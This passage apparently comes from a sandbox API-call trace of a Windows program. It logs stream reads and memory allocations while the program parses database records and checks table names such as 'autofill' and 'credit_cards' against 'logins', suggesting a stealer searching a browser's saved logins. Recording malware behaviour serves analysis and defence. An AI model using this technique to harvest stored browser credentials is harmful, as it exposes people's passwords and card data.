dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.203] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.203] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0xc, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.203] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x652cb0, cb=0x19, pcbRead=0x12f8f8 | out: pv=0x652cb0*=0x61, pcbRead=0x12f8f8*=0x19) returned 0x0 [0079.203] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6293a8 [0079.203] LocalFree (hMem=0x652cb0) returned 0x0 [0079.203] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x6687b0 [0079.203] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.203] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.203] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x25, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.203] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x8, pcbRead=0x12f8f8 | out: pv=0x6687b0*=0x61, pcbRead=0x12f8f8*=0x8) returned 0x0 [0079.203] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x664350 [0079.204] LocalFree (hMem=0x6687b0) returned 0x0 [0079.204] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.204] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.204] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x2d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.204] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f917, cb=0x1, pcbRead=0x12f8e4 | out: pv=0x12f917*=0x8, pcbRead=0x12f8e4*=0x1) returned 0x0 [0079.204] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x665780 [0079.204] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x6505e8 [0079.204] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.204] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.204] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x2e, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.204] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6505e8, cb=0x46, pcbRead=0x12f8f8 | out: pv=0x6505e8*=0x43, pcbRead=0x12f8f8*=0x46) returned 0x0 [0079.204] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x6640d8 [0079.204] LocalFree (hMem=0x6505e8) returned 0x0 [0079.204] LocalFree (hMem=0x670c38) returned 0x0 [0079.204] IUnknown:Release (This=0x64baa8) returned 0x0 [0079.204] lstrcmpiA (lpString1="autofill", lpString2="logins") returned -1 [0079.204] LocalFree (hMem=0x6643e8) returned 0x0 [0079.204] LocalFree (hMem=0x6293a8) returned 0x0 [0079.204] LocalFree (hMem=0x664350) returned 0x0 [0079.204] LocalFree (hMem=0x665780) returned 0x0 [0079.204] LocalFree (hMem=0x6640d8) returned 0x0 [0079.204] LocalFree (hMem=0x670cd8) returned 0x0 [0079.204] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6147, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.204] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.204] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.204] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6147, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.204] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f95b, cb=0x1, pcbRead=0x12f928 | out: pv=0x12f95b*=0x82, pcbRead=0x12f928*=0x1) returned 0x0 [0079.205] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.205] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.205] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.205] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f95b, cb=0x1, pcbRead=0x12f928 | out: pv=0x12f95b*=0x6b, pcbRead=0x12f928*=0x1) returned 0x0 [0079.205] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.205] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.205] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6149, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.205] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f95b, cb=0x1, pcbRead=0x12f928 | out: pv=0x12f95b*=0x8, pcbRead=0x12f928*=0x1) returned 0x0 [0079.205] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x655310 [0079.205] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12f970 | out: ppstm=0x12f970*=0x64baa8) returned 0x0 [0079.205] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.205] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.205] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x614a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.205] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x655310, cb=0x16b, pcbRead=0x12f938 | out: pv=0x655310*=0x7, pcbRead=0x12f938*=0x16b) returned 0x0 [0079.205] ISequentialStream:RemoteWrite (in: This=0x64baa8, pv=0x655310*=0x7, cb=0x16b, pcbWritten=0x12f950 | out: pcbWritten=0x12f950*=0x16b) returned 0x0 [0079.205] LocalFree (hMem=0x655310) returned 0x0 [0079.205] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.205] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.205] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.206] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.206] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.206] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x7, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.206] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x670cd8 [0079.206] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.206] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.206] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x1, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.206] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x17, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.206] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.206] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.206] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x2, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.206] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x25, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.206] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.206] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.206] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x3, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.206] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x25, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.206] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.206] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.207] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x4, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.207] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x1, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.207] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.207] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.207] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x5, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.207] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x85, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.207] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.207] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.207] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x6, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.207] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x19, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.207] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670c38 [0079.207] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6687b0 [0079.207] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.207] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.207] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x7, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.207] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x5, pcbRead=0x12f8f8 | out: pv=0x6687b0*=0x74, pcbRead=0x12f8f8*=0x5) returned 0x0 [0079.207] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x665780 [0079.207] LocalFree (hMem=0x6687b0) returned 0x0 [0079.207] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x664350 [0079.207] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.208] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.208] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0xc, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.208] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x664350, cb=0xc, pcbRead=0x12f8f8 | out: pv=0x664350*=0x63, pcbRead=0x12f8f8*=0xc) returned 0x0 [0079.208] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670d78 [0079.208] LocalFree (hMem=0x664350) returned 0x0 [0079.208] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x664350 [0079.208] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.208] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.208] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x18, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.208] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x664350, cb=0xc, pcbRead=0x12f8f8 | out: pv=0x664350*=0x63, pcbRead=0x12f8f8*=0xc) returned 0x0 [0079.208] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670e18 [0079.208] LocalFree (hMem=0x664350) returned 0x0 [0079.208] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.208] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.208] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x24, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.208] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f917, cb=0x1, pcbRead=0x12f8e4 | out: pv=0x12f917*=0x9, pcbRead=0x12f8e4*=0x1) returned 0x0 [0079.208] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x664350 [0079.208] LocalAlloc (uFlags=0x40, uBytes=0x1c6) returned 0x6522a8 [0079.208] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.208] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.208] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x25, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.208] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6522a8, cb=0x146, pcbRead=0x12f8f8 | out: pv=0x6522a8*=0x43, pcbRead=0x12f8f8*=0x146) returned 0x0 [0079.208] LocalAlloc (uFlags=0x40, uBytes=0x1ce) returned 0x652478 [0079.208] LocalFree (hMem=0x6522a8) returned 0x0 [0079.208] LocalFree (hMem=0x670cd8) returned 0x0 [0079.208] IUnknown:Release (This=0x64baa8) returned 0x0 [0079.209] lstrcmpiA (lpString1="credit_cards", lpString2="logins") returned -1 [0079.209] LocalFree (hMem=0x665780) returned 0x0 [0079.209] LocalFree (hMem=0x670d78) returned 0x0 [0079.209] LocalFree (hMem=0x670e18) returned 0x0 [0079.209] LocalFree (hMem=0x664350) returned 0x0 [0079.209] LocalFree (hMem=0x652478) returned 0x0 [0079.209] LocalFree (hMem=0x670c38) returned 0x0 [0079.209] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x610e, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.209] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.209] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.209] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x610e, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.209] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f95b, cb=0x1, pcbRead=0x12f928 | out: pv=0x12f95b*=0x37, pcbRead=0x12f928*=0x1) returned 0x0 [0079.209] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.209] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.209] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x610f, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.209] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f95b, cb=0x1, pcbRead=0x12f928 | out: pv=0x12f95b*=0x9, pcbRead=0x12f928*=0x1) returned 0x0 [0079.209] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x655310 [0079.209] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12f970 | out: ppstm=0x12f970*=0x64baa8) returned 0x0 [0079.209] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.209] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.209] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6110, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.209] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x655310, cb=0x37, pcbRead=0x12f938 | out: pv=0x655310*=0x6, pcbRead=0x12f938*=0x37) returned 0x0 [0079.209] ISequentialStream:RemoteWrite (in: This=0x64baa8, pv=0x655310*=0x6, cb=0x37, pcbWritten=0x12f950 | out: pcbWritten=0x12f950*=0x37) returned 0x0 [0079.209] LocalFree (hMem=0x655310) returned 0x0 [0079.210] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.210] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.210] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.210] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.210] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.210] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x6, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.210] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670c38 [0079.210] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.210] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.210] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x1, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.210] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x17, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.210] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.210] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.210] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x2, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.210] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x4b, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.210] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.210] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.211] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x3, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.211] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x25, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.211] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.211] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.211] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x4, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.211] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x1, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.211] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.211] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.211] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x5, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.211] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x0, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.211] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670e18 [0079.211] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6687b0 [0079.211] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.211] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.211] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x6, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.211] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x5, pcbRead=0x12f8f8 | out: pv=0x6687b0*=0x69, pcbRead=0x12f8f8*=0x5) returned 0x0 [0079.211] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x664350 [0079.211] LocalFree (hMem=0x6687b0) returned 0x0 [0079.211] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652cb0 [0079.211] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.211] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.212] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0xb, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.212] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x652cb0, cb=0x1f, pcbRead=0x12f8f8 | out: pv=0x652cb0*=0x73, pcbRead=0x12f8f8*=0x1f) returned 0x0 [0079.212] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0079.212] LocalFree (hMem=0x652cb0) returned 0x0 [0079.212] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x665780 [0079.212] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.212] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.212] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x2a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.212] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x665780, cb=0xc, pcbRead=0x12f8f8 | out: pv=0x665780*=0x63, pcbRead=0x12f8f8*=0xc) returned 0x0 [0079.212] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670d78 [0079.212] LocalFree (hMem=0x665780) returned 0x0 [0079.212] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.212] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.212] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x36, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.212] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f917, cb=0x1, pcbRead=0x12f8e4 | out: pv=0x12f917*=0xa, pcbRead=0x12f8e4*=0x1) returned 0x0 [0079.212] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x665780 [0079.212] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x6687b0 [0079.212] LocalFree (hMem=0x670c38) returned 0x0 [0079.212] IUnknown:Release (This=0x64baa8) returned 0x0 [0079.212] lstrcmpiA (lpString1="credit_cards", lpString2="logins") returned -1 [0079.212] LocalFree (hMem=0x664350) returned 0x0 [0079.212] LocalFree (hMem=0x6293a8) returned 0x0 [0079.212] LocalFree (hMem=0x670d78) returned 0x0 [0079.212] LocalFree (hMem=0x665780) returned 0x0 [0079.212] LocalFree (hMem=0x6687b0) returned 0x0 [0079.212] LocalFree 